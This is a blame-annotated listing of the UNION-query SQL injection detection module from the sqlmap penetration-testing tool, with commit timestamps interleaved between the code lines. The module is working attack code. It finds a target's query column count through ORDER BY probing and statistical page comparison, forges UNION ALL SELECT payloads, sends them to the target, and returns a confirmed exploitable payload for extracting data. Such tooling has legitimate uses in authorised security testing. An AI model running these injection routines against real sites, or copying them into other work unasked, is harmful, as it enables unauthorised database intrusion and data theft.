2008-10-15 19:38:22 +04:00
#!/usr/bin/env python
"""
2013-01-18 18:07:51 +04:00
Copyright ( c ) 2006 - 2013 sqlmap developers ( http : / / sqlmap . org / )
2010-10-15 03:18:29 +04:00
See the file ' doc/COPYING ' for copying permission
2008-10-15 19:38:22 +04:00
"""
2011-02-08 00:00:59 +03:00
import random
2011-01-23 14:35:24 +03:00
import re
2011-01-06 12:26:01 +03:00
2008-10-15 19:38:22 +04:00
from lib . core . agent import agent
2011-02-02 14:22:35 +03:00
from lib . core . common import average
2011-01-31 15:41:39 +03:00
from lib . core . common import Backend
2011-10-22 01:12:48 +04:00
from lib . core . common import isNullValue
2011-01-31 15:41:39 +03:00
from lib . core . common import listToStrValue
2011-02-02 14:22:35 +03:00
from lib . core . common import popValue
from lib . core . common import pushValue
2011-08-03 13:08:16 +04:00
from lib . core . common import randomInt
2009-04-22 15:48:07 +04:00
from lib . core . common import randomStr
2012-05-08 19:00:23 +04:00
from lib . core . common import readInput
2011-02-25 12:22:44 +03:00
from lib . core . common import removeReflectiveValues
2011-08-03 13:08:16 +04:00
from lib . core . common import singleTimeLogMessage
2011-06-08 18:35:23 +04:00
from lib . core . common import singleTimeWarnMessage
2011-02-02 14:22:35 +03:00
from lib . core . common import stdev
2011-04-20 14:17:42 +04:00
from lib . core . common import wasLastRequestDBMSError
2008-10-15 19:38:22 +04:00
from lib . core . data import conf
from lib . core . data import kb
from lib . core . data import logger
2012-08-21 13:19:15 +04:00
from lib . core . dicts import FROM_DUMMY_TABLE
2010-12-08 16:09:27 +03:00
from lib . core . enums import PAYLOAD
2012-09-06 17:51:38 +04:00
from lib . core . settings import LIMITED_ROWS_TEST_NUMBER
2011-03-31 13:35:09 +04:00
from lib . core . settings import UNION_MIN_RESPONSE_CHARS
2011-02-02 14:22:35 +03:00
from lib . core . settings import UNION_STDEV_COEFF
2011-02-05 17:17:28 +03:00
from lib . core . settings import MIN_RATIO
from lib . core . settings import MAX_RATIO
2011-02-03 19:59:49 +03:00
from lib . core . settings import MIN_STATISTICAL_RANGE
2011-02-02 16:03:24 +03:00
from lib . core . settings import MIN_UNION_RESPONSES
2012-07-11 18:14:20 +04:00
from lib . core . settings import NULL
2011-08-03 13:08:16 +04:00
from lib . core . settings import ORDER_BY_STEP
2009-04-22 15:48:07 +04:00
from lib . core . unescaper import unescaper
2011-02-02 14:22:35 +03:00
from lib . request . comparison import comparison
2008-10-15 19:38:22 +04:00
from lib . request . connect import Connect as Request
2012-12-06 17:14:19 +04:00
def _findUnionCharCount ( comment , place , parameter , value , prefix , suffix , where = PAYLOAD . WHERE . ORIGINAL ) :
2011-02-02 14:22:35 +03:00
"""
Finds number of columns affected by UNION based injection
"""
retVal = None
2012-12-06 17:14:19 +04:00
def _orderByTechnique ( ) :
def _orderByTest ( cols ) :
2011-08-03 13:08:16 +04:00
query = agent . prefixQuery ( " ORDER BY %d " % cols , prefix = prefix )
query = agent . suffixQuery ( query , suffix = suffix , comment = comment )
payload = agent . payload ( newValue = query , place = place , parameter = parameter , where = where )
2011-10-24 03:02:01 +04:00
page , headers = Request . queryPage ( payload , place = place , content = True , raise404 = False )
2012-11-29 14:43:49 +04:00
return not re . search ( r " (warning|error|order by|failed) " , page or " " , re . I ) and comparison ( page , headers ) or re . search ( r " data types cannot be compared or sorted " , page or " " , re . I )
2011-08-03 13:08:16 +04:00
2012-12-06 17:14:19 +04:00
if _orderByTest ( 1 ) and not _orderByTest ( randomInt ( ) ) :
2011-08-03 13:08:16 +04:00
infoMsg = " ORDER BY technique seems to be usable. "
2011-08-03 18:31:42 +04:00
infoMsg + = " This should reduce the time needed "
2011-08-03 17:26:38 +04:00
infoMsg + = " to find the right number "
2011-08-03 13:08:16 +04:00
infoMsg + = " of query columns. Automatically extending the "
2012-04-23 17:41:36 +04:00
infoMsg + = " range for current UNION query injection technique test "
2011-08-03 13:08:16 +04:00
singleTimeLogMessage ( infoMsg )
lowCols , highCols = 1 , ORDER_BY_STEP
found = None
while not found :
2012-12-06 17:14:19 +04:00
if _orderByTest ( highCols ) :
2011-08-03 13:08:16 +04:00
lowCols = highCols
highCols + = ORDER_BY_STEP
else :
while not found :
mid = highCols - ( highCols - lowCols ) / 2
2012-12-06 17:14:19 +04:00
if _orderByTest ( mid ) :
2011-08-03 13:08:16 +04:00
lowCols = mid
else :
highCols = mid
if ( highCols - lowCols ) < 2 :
found = lowCols
return found
2011-02-02 14:22:35 +03:00
pushValue ( kb . errorIsNone )
2011-02-02 15:42:55 +03:00
items , ratios = [ ] , [ ]
2011-02-02 14:22:35 +03:00
kb . errorIsNone = False
2011-02-02 16:03:24 +03:00
lowerCount , upperCount = conf . uColsStart , conf . uColsStop
2011-08-03 13:08:16 +04:00
if lowerCount == 1 :
2012-12-06 17:14:19 +04:00
found = kb . orderByColumns or _orderByTechnique ( )
2011-08-03 13:08:16 +04:00
if found :
kb . orderByColumns = found
2012-10-23 12:02:10 +04:00
infoMsg = " target url appears to have %d column %s in query " % ( found , ' s ' if found > 1 else " " )
2011-08-03 13:08:16 +04:00
singleTimeLogMessage ( infoMsg )
return found
2011-02-02 16:03:24 +03:00
if abs ( upperCount - lowerCount ) < MIN_UNION_RESPONSES :
upperCount = lowerCount + MIN_UNION_RESPONSES
2011-02-02 14:22:35 +03:00
2011-02-05 17:17:28 +03:00
min_ , max_ = MAX_RATIO , MIN_RATIO
2011-08-18 01:40:42 +04:00
pages = { }
2011-03-17 15:34:29 +03:00
2013-01-10 16:18:44 +04:00
for count in xrange ( lowerCount , upperCount + 1 ) :
2012-10-28 02:36:09 +04:00
query = agent . forgeUnionQuery ( ' ' , - 1 , count , comment , prefix , suffix , kb . uChar , where )
2011-02-02 14:22:35 +03:00
payload = agent . payload ( place = place , parameter = parameter , newValue = query , where = where )
2011-08-12 19:33:37 +04:00
page , headers = Request . queryPage ( payload , place = place , content = True , raise404 = False )
2011-10-22 01:12:48 +04:00
if not isNullValue ( kb . uChar ) :
2011-08-18 10:09:12 +04:00
pages [ count ] = page
2011-08-23 02:43:14 +04:00
ratio = comparison ( page , headers , getRatioValue = True ) or MIN_RATIO
ratios . append ( ratio )
min_ , max_ = min ( min_ , ratio ) , max ( max_ , ratio )
items . append ( ( count , ratio ) )
2011-08-23 01:43:46 +04:00
2011-10-22 01:12:48 +04:00
if not isNullValue ( kb . uChar ) :
2011-08-23 01:43:46 +04:00
for regex in ( kb . uChar , r ' > \ s* %s \ s*< ' % kb . uChar ) :
2011-08-24 01:48:39 +04:00
contains = [ ( count , re . search ( regex , page or " " , re . IGNORECASE ) is not None ) for count , page in pages . items ( ) ]
2011-08-23 01:43:46 +04:00
if len ( filter ( lambda x : x [ 1 ] , contains ) ) == 1 :
retVal = filter ( lambda x : x [ 1 ] , contains ) [ 0 ] [ 0 ]
break
2011-02-02 14:22:35 +03:00
2011-08-23 02:43:14 +04:00
if not retVal :
2011-08-23 01:43:46 +04:00
ratios . pop ( ratios . index ( min_ ) )
ratios . pop ( ratios . index ( max_ ) )
2011-03-17 15:34:29 +03:00
2011-08-23 01:43:46 +04:00
minItem , maxItem = None , None
2011-02-02 14:22:35 +03:00
2011-08-23 01:43:46 +04:00
for item in items :
if item [ 1 ] == min_ :
minItem = item
elif item [ 1 ] == max_ :
maxItem = item
2011-05-28 12:06:19 +04:00
2011-08-23 01:43:46 +04:00
if all ( map ( lambda x : x == min_ and x != max_ , ratios ) ) :
retVal = maxItem [ 0 ]
2011-05-28 12:06:19 +04:00
2011-08-23 01:43:46 +04:00
elif all ( map ( lambda x : x != min_ and x == max_ , ratios ) ) :
retVal = minItem [ 0 ]
2011-05-28 12:06:19 +04:00
2011-08-23 01:43:46 +04:00
elif abs ( max_ - min_ ) > = MIN_STATISTICAL_RANGE :
deviation = stdev ( ratios )
lower , upper = average ( ratios ) - UNION_STDEV_COEFF * deviation , average ( ratios ) + UNION_STDEV_COEFF * deviation
2011-03-29 01:45:38 +04:00
2011-08-23 01:43:46 +04:00
if min_ < lower :
retVal = minItem [ 0 ]
2011-02-02 14:22:35 +03:00
2011-08-23 01:43:46 +04:00
if max_ > upper :
if retVal is None or abs ( max_ - upper ) > abs ( min_ - lower ) :
retVal = maxItem [ 0 ]
2011-08-18 01:40:42 +04:00
2011-02-02 14:22:35 +03:00
kb . errorIsNone = popValue ( )
2011-02-03 19:16:38 +03:00
if retVal :
2011-02-03 19:48:27 +03:00
infoMsg = " target url appears to be UNION injectable with %d columns " % retVal
2011-12-15 14:19:31 +04:00
singleTimeLogMessage ( infoMsg )
2011-02-03 19:16:38 +03:00
2011-02-02 14:22:35 +03:00
return retVal
2012-12-06 17:14:19 +04:00
def _unionPosition ( comment , place , parameter , prefix , suffix , count , where = PAYLOAD . WHERE . ORIGINAL ) :
2010-10-31 19:58:38 +03:00
validPayload = None
2011-01-12 15:01:32 +03:00
vector = None
2010-03-22 18:39:29 +03:00
2011-02-08 00:00:59 +03:00
positions = range ( 0 , count )
# Unbiased approach for searching appropriate usable column
random . shuffle ( positions )
2009-04-22 15:48:07 +04:00
# For each column of the table (# of NULL) perform a request using
# the UNION ALL SELECT statement to test it the target url is
2012-10-28 02:36:09 +04:00
# affected by an exploitable union SQL injection vulnerability
2011-02-08 00:00:59 +03:00
for position in positions :
2009-04-22 15:48:07 +04:00
# Prepare expression with delimiters
2011-03-31 13:35:09 +04:00
randQuery = randomStr ( UNION_MIN_RESPONSE_CHARS )
2011-09-26 01:10:45 +04:00
phrase = " %s %s %s " . lower ( ) % ( kb . chars . start , randQuery , kb . chars . stop )
2009-04-22 15:48:07 +04:00
randQueryProcessed = agent . concatQuery ( " \' %s \' " % randQuery )
2013-01-18 18:40:37 +04:00
randQueryUnescaped = unescaper . escape ( randQueryProcessed )
2009-04-22 15:48:07 +04:00
2012-10-28 02:36:09 +04:00
# Forge the union SQL injection request
query = agent . forgeUnionQuery ( randQueryUnescaped , position , count , comment , prefix , suffix , kb . uChar , where )
2011-01-12 01:18:47 +03:00
payload = agent . payload ( place = place , parameter = parameter , newValue = query , where = where )
2009-04-22 15:48:07 +04:00
# Perform the request
2011-01-31 15:41:39 +03:00
page , headers = Request . queryPage ( payload , place = place , content = True , raise404 = False )
2011-03-30 00:45:21 +04:00
content = " %s %s " . lower ( ) % ( removeReflectiveValues ( page , payload ) or " " , \
removeReflectiveValues ( listToStrValue ( headers . headers if headers else None ) , \
payload , True ) or " " )
2011-02-25 12:22:44 +03:00
2011-07-07 17:20:40 +04:00
if content and phrase in content :
2010-10-31 19:58:38 +03:00
validPayload = payload
2012-06-18 01:21:45 +04:00
kb . unionDuplicates = content . count ( phrase ) > 1
vector = ( position , count , comment , prefix , suffix , kb . uChar , where , kb . unionDuplicates )
2009-04-22 15:48:07 +04:00
2011-02-02 16:34:09 +03:00
if where == PAYLOAD . WHERE . ORIGINAL :
2010-12-22 18:47:52 +03:00
# Prepare expression with delimiters
2011-03-31 13:35:09 +04:00
randQuery2 = randomStr ( UNION_MIN_RESPONSE_CHARS )
2011-09-26 01:10:45 +04:00
phrase2 = " %s %s %s " . lower ( ) % ( kb . chars . start , randQuery2 , kb . chars . stop )
2010-12-22 18:47:52 +03:00
randQueryProcessed2 = agent . concatQuery ( " \' %s \' " % randQuery2 )
2013-01-18 18:40:37 +04:00
randQueryUnescaped2 = unescaper . escape ( randQueryProcessed2 )
2010-12-22 18:47:52 +03:00
2012-10-28 02:36:09 +04:00
# Confirm that it is a full union SQL injection
query = agent . forgeUnionQuery ( randQueryUnescaped , position , count , comment , prefix , suffix , kb . uChar , where , multipleUnions = randQueryUnescaped2 )
2012-04-15 20:43:18 +04:00
payload = agent . payload ( place = place , parameter = parameter , newValue = query , where = where )
2010-12-22 18:47:52 +03:00
# Perform the request
2011-01-31 15:41:39 +03:00
page , headers = Request . queryPage ( payload , place = place , content = True , raise404 = False )
2011-03-25 15:21:53 +03:00
content = " %s %s " . lower ( ) % ( page or " " , listToStrValue ( headers . headers if headers else None ) or " " )
2010-12-22 18:47:52 +03:00
2012-04-15 20:33:47 +04:00
if not all ( _ in content for _ in ( phrase , phrase2 ) ) :
2012-06-18 01:21:45 +04:00
vector = ( position , count , comment , prefix , suffix , kb . uChar , PAYLOAD . WHERE . NEGATIVE , kb . unionDuplicates )
2012-09-06 17:51:38 +04:00
elif not kb . unionDuplicates :
fromTable = " FROM ( %s ) AS %s " % ( " UNION " . join ( " SELECT %d %s %s " % ( _ , FROM_DUMMY_TABLE . get ( Backend . getIdentifiedDbms ( ) , " " ) , " AS %s " % randomStr ( ) if _ == 0 else " " ) for _ in xrange ( LIMITED_ROWS_TEST_NUMBER ) ) , randomStr ( ) )
# Check for limited row output
2012-10-28 02:36:09 +04:00
query = agent . forgeUnionQuery ( randQueryUnescaped , position , count , comment , prefix , suffix , kb . uChar , where , fromTable = fromTable )
2012-09-06 17:51:38 +04:00
payload = agent . payload ( place = place , parameter = parameter , newValue = query , where = where )
# Perform the request
page , headers = Request . queryPage ( payload , place = place , content = True , raise404 = False )
content = " %s %s " . lower ( ) % ( removeReflectiveValues ( page , payload ) or " " , \
removeReflectiveValues ( listToStrValue ( headers . headers if headers else None ) , \
payload , True ) or " " )
if content . count ( phrase ) > 0 and content . count ( phrase ) < LIMITED_ROWS_TEST_NUMBER :
warnMsg = " output with limited number of rows detected. Switching to partial mode "
logger . warn ( warnMsg )
vector = ( position , count , comment , prefix , suffix , kb . uChar , PAYLOAD . WHERE . NEGATIVE , kb . unionDuplicates )
2010-12-22 18:47:52 +03:00
2011-05-22 19:08:55 +04:00
unionErrorCase = kb . errorIsNone and wasLastRequestDBMSError ( )
2012-05-09 18:58:16 +04:00
if unionErrorCase and count > 1 :
2012-04-13 19:11:44 +04:00
warnMsg = " combined UNION/error-based SQL injection case found on "
2011-05-22 19:08:55 +04:00
warnMsg + = " column %d . sqlmap will try to find another " % ( position + 1 )
warnMsg + = " column with better characteristics "
logger . warn ( warnMsg )
else :
2011-04-20 14:17:42 +04:00
break
2009-04-22 15:48:07 +04:00
2011-01-12 15:01:32 +03:00
return validPayload , vector
2010-03-22 18:39:29 +03:00
2012-12-06 17:14:19 +04:00
def _unionConfirm ( comment , place , parameter , prefix , suffix , count ) :
2010-10-31 19:58:38 +03:00
validPayload = None
2011-01-12 15:01:32 +03:00
vector = None
2010-03-22 18:39:29 +03:00
2012-10-28 02:36:09 +04:00
# Confirm the union SQL injection and get the exact column
2010-11-14 01:47:37 +03:00
# position which can be used to extract data
2012-12-06 17:14:19 +04:00
validPayload , vector = _unionPosition ( comment , place , parameter , prefix , suffix , count )
2011-01-12 04:13:32 +03:00
2012-10-28 02:36:09 +04:00
# Assure that the above function found the exploitable full union
2011-01-12 04:13:32 +03:00
# SQL injection position
if not validPayload :
2012-12-06 17:14:19 +04:00
validPayload , vector = _unionPosition ( comment , place , parameter , prefix , suffix , count , where = PAYLOAD . WHERE . NEGATIVE )
2011-01-12 04:13:32 +03:00
2011-01-12 15:01:32 +03:00
return validPayload , vector
2008-12-22 00:39:53 +03:00
2012-12-06 17:14:19 +04:00
def _unionTestByCharBruteforce ( comment , place , parameter , value , prefix , suffix ) :
2008-10-15 19:38:22 +04:00
"""
2012-10-28 02:36:09 +04:00
This method tests if the target url is affected by an union
2008-10-15 19:38:22 +04:00
SQL injection vulnerability . The test is done up to 50 columns
on the target database table
"""
2011-01-12 01:18:47 +03:00
validPayload = None
2011-01-12 15:01:32 +03:00
vector = None
2008-10-15 19:38:22 +04:00
2011-06-18 14:51:14 +04:00
# In case that user explicitly stated number of columns affected
if conf . uColsStop == conf . uColsStart :
count = conf . uColsStart
else :
2012-12-06 17:14:19 +04:00
count = _findUnionCharCount ( comment , place , parameter , value , prefix , suffix , PAYLOAD . WHERE . ORIGINAL if isNullValue ( kb . uChar ) else PAYLOAD . WHERE . NEGATIVE )
2011-02-03 19:16:38 +03:00
if count :
2012-12-06 17:14:19 +04:00
validPayload , vector = _unionConfirm ( comment , place , parameter , prefix , suffix , count )
2008-12-22 00:39:53 +03:00
2011-10-23 12:44:21 +04:00
if not all ( [ validPayload , vector ] ) and not all ( [ conf . uChar , conf . dbms ] ) :
2011-06-08 20:25:18 +04:00
warnMsg = " if UNION based SQL injection is not detected, "
2011-10-23 12:44:21 +04:00
warnMsg + = " please consider "
2012-05-08 19:00:23 +04:00
2012-07-11 18:14:20 +04:00
if not conf . uChar and count > 1 and kb . uChar == NULL :
2012-05-08 21:28:19 +04:00
message = " injection not exploitable with NULL values. Do you want to try with a random integer value for option ' --union-char ' ? [Y/n] "
2012-05-08 19:00:23 +04:00
test = readInput ( message , default = " Y " )
if test [ 0 ] not in ( " y " , " Y " ) :
warnMsg + = " usage of option ' --union-char ' "
warnMsg + = " (e.g. --union-char=1) "
else :
2012-07-11 18:01:25 +04:00
conf . uChar = kb . uChar = str ( randomInt ( 2 ) )
2012-12-06 17:14:19 +04:00
validPayload , vector = _unionConfirm ( comment , place , parameter , prefix , suffix , count )
2012-05-08 19:00:23 +04:00
2011-10-23 12:44:21 +04:00
if not conf . dbms :
if not conf . uChar :
warnMsg + = " and/or try to force the "
else :
warnMsg + = " forcing the "
warnMsg + = " back-end DBMS (e.g. --dbms=mysql) "
2012-05-08 19:00:23 +04:00
2012-05-09 18:58:16 +04:00
if not all ( [ validPayload , vector ] ) and not warnMsg . endswith ( " consider " ) :
2012-05-08 19:00:23 +04:00
singleTimeWarnMessage ( warnMsg )
2011-05-22 19:30:19 +04:00
2011-01-12 15:01:32 +03:00
return validPayload , vector
2008-10-15 19:38:22 +04:00
2011-01-16 04:17:09 +03:00
def unionTest ( comment , place , parameter , value , prefix , suffix ) :
2008-10-15 19:38:22 +04:00
"""
2012-10-28 02:36:09 +04:00
This method tests if the target url is affected by an union
2008-10-15 19:38:22 +04:00
SQL injection vulnerability . The test is done up to 3 * 50 times
"""
2010-03-27 02:23:25 +03:00
if conf . direct :
return
2010-12-08 16:09:27 +03:00
kb . technique = PAYLOAD . TECHNIQUE . UNION
2012-12-06 17:14:19 +04:00
validPayload , vector = _unionTestByCharBruteforce ( comment , place , parameter , value , prefix , suffix )
2008-10-15 19:38:22 +04:00
2010-11-19 18:48:24 +03:00
if validPayload :
2011-01-27 22:44:24 +03:00
validPayload = agent . removePayloadDelimiters ( validPayload )
2008-10-15 19:38:22 +04:00
2011-01-12 15:01:32 +03:00
return validPayload , vector